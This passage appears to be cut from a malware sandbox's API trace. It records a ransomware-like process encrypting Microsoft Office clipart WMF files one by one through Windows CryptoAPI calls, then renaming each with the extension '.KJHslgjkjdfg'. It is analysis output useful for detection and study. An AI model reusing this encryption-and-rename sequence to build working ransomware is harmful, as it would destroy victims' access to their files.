lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0244.026] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0244.026] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0244.026] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0244.026] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x38c, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x38c, lpOverlapped=0x0) returned 1 [0244.026] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x390, dwBufLen=0x390 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x390) returned 1 [0244.026] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0244.026] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x390, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x390, lpOverlapped=0x0) returned 1 [0244.026] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0244.026] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x464, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0244.026] SetEndOfFile (hFile=0x130) returned 1 [0244.029] GetProcessHeap () returned 0x2ef0000 [0244.029] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0244.029] GetProcessHeap () returned 0x2ef0000 [0244.029] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0244.029] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02265_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02265_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02265_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02265_.wmf.kjhslgjkjdfg")) returned 1 [0244.031] CloseHandle (hObject=0x130) returned 1 [0244.031] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1e16ea00, ftCreationTime.dwHighDateTime=0x1bd4bf9, ftLastAccessTime.dwLowDateTime=0x6d358650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1e16ea00, ftLastWriteTime.dwHighDateTime=0x1bd4bf9, nFileSizeHigh=0x0, nFileSizeLow=0x61c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SO02268_.WMF", cAlternateFileName="")) returned 1 [0244.031] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02268_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02268_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0244.033] GetProcessHeap () returned 0x2ef0000 [0244.033] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0244.033] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0244.033] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0244.033] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0244.035] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0244.035] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0244.035] GetProcessHeap () returned 0x2ef0000 [0244.035] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0244.035] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0244.035] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0244.035] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0244.036] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0244.036] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0244.036] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0244.036] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0244.036] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0244.036] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0244.036] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0244.036] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0244.036] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x61c, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x61c, lpOverlapped=0x0) returned 1 [0244.037] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x620, dwBufLen=0x620 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x620) returned 1 [0244.037] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0244.037] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x620, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x620, lpOverlapped=0x0) returned 1 [0244.037] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0244.037] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x6f4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0244.037] SetEndOfFile (hFile=0x130) returned 1 [0244.040] GetProcessHeap () returned 0x2ef0000 [0244.040] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0244.040] GetProcessHeap () returned 0x2ef0000 [0244.040] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0244.040] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02268_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02268_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02268_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02268_.wmf.kjhslgjkjdfg")) returned 1 [0244.042] CloseHandle (hObject=0x130) returned 1 [0244.042] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a836300, ftCreationTime.dwHighDateTime=0x1bd4bf9, ftLastAccessTime.dwLowDateTime=0x6d358650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1a836300, ftLastWriteTime.dwHighDateTime=0x1bd4bf9, nFileSizeHigh=0x0, nFileSizeLow=0xaf0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SO02269_.WMF", cAlternateFileName="")) returned 1 [0244.042] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02269_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02269_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0244.044] GetProcessHeap () returned 0x2ef0000 [0244.044] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0244.044] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0244.044] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0244.044] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0244.044] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0244.044] GetProcessHeap () returned 0x2ef0000 [0244.044] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0244.044] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0244.044] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0244.044] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0244.047] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0244.047] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0244.047] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0244.047] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0244.047] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0244.047] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0244.047] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0244.047] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0244.047] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0xaf0, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0xaf0, lpOverlapped=0x0) returned 1 [0244.047] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xaf0, dwBufLen=0xaf0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xaf0) returned 1 [0244.048] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0244.048] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0xaf0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0xaf0, lpOverlapped=0x0) returned 1 [0244.048] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0244.048] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xbc4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0244.048] SetEndOfFile (hFile=0x130) returned 1 [0244.049] GetProcessHeap () returned 0x2ef0000 [0244.049] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0244.049] GetProcessHeap () returned 0x2ef0000 [0244.049] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0244.049] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02269_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02269_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02269_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02269_.wmf.kjhslgjkjdfg")) returned 1 [0244.051] CloseHandle (hObject=0x130) returned 1 [0244.051] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x16efdc00, ftCreationTime.dwHighDateTime=0x1bd4bf9, ftLastAccessTime.dwLowDateTime=0x6d358650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x16efdc00, ftLastWriteTime.dwHighDateTime=0x1bd4bf9, nFileSizeHigh=0x0, nFileSizeLow=0xa68, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SO02270_.WMF", cAlternateFileName="")) returned 1 [0244.051] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02270_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02270_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0244.053] GetProcessHeap () returned 0x2ef0000 [0244.053] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0244.054] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0244.054] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0244.054] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0244.055] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0244.055] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0244.055] GetProcessHeap () returned 0x2ef0000 [0244.055] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0244.056] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0244.056] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0244.056] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0244.056] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0244.056] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0244.056] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0244.056] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0244.056] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0244.056] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0244.056] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0244.057] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0244.057] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0xa68, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0xa68, lpOverlapped=0x0) returned 1 [0244.057] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xa70, dwBufLen=0xa70 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xa70) returned 1 [0244.057] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0244.057] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0xa70, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0xa70, lpOverlapped=0x0) returned 1 [0244.057] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0244.057] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xb44, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0244.057] SetEndOfFile (hFile=0x130) returned 1 [0244.059] GetProcessHeap () returned 0x2ef0000 [0244.059] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0244.059] GetProcessHeap () returned 0x2ef0000 [0244.059] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0244.059] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02270_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02270_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02270_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02270_.wmf.kjhslgjkjdfg")) returned 1 [0244.061] CloseHandle (hObject=0x130) returned 1 [0244.061] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3963e00, ftCreationTime.dwHighDateTime=0x1bd4c04, ftLastAccessTime.dwLowDateTime=0x5aa8af30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3963e00, ftLastWriteTime.dwHighDateTime=0x1bd4c04, nFileSizeHigh=0x0, nFileSizeLow=0x30e4, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SO02276_.WMF", cAlternateFileName="")) returned 1 [0244.061] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02276_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02276_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0244.062] GetProcessHeap () returned 0x2ef0000 [0244.062] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0244.062] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0244.062] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0244.062] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xc, lpOverlapped=0x0) returned 1 [0244.065] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0244.065] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0244.065] GetProcessHeap () returned 0x2ef0000 [0244.065] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0244.065] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0244.065] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0244.065] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0244.065] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0244.066] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0244.066] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0244.066] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0244.066] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0244.066] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0244.066] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0244.066] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0244.066] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x30e4, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x30e4, lpOverlapped=0x0) returned 1 [0244.069] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x30f0, dwBufLen=0x30f0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x30f0) returned 1 [0244.069] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 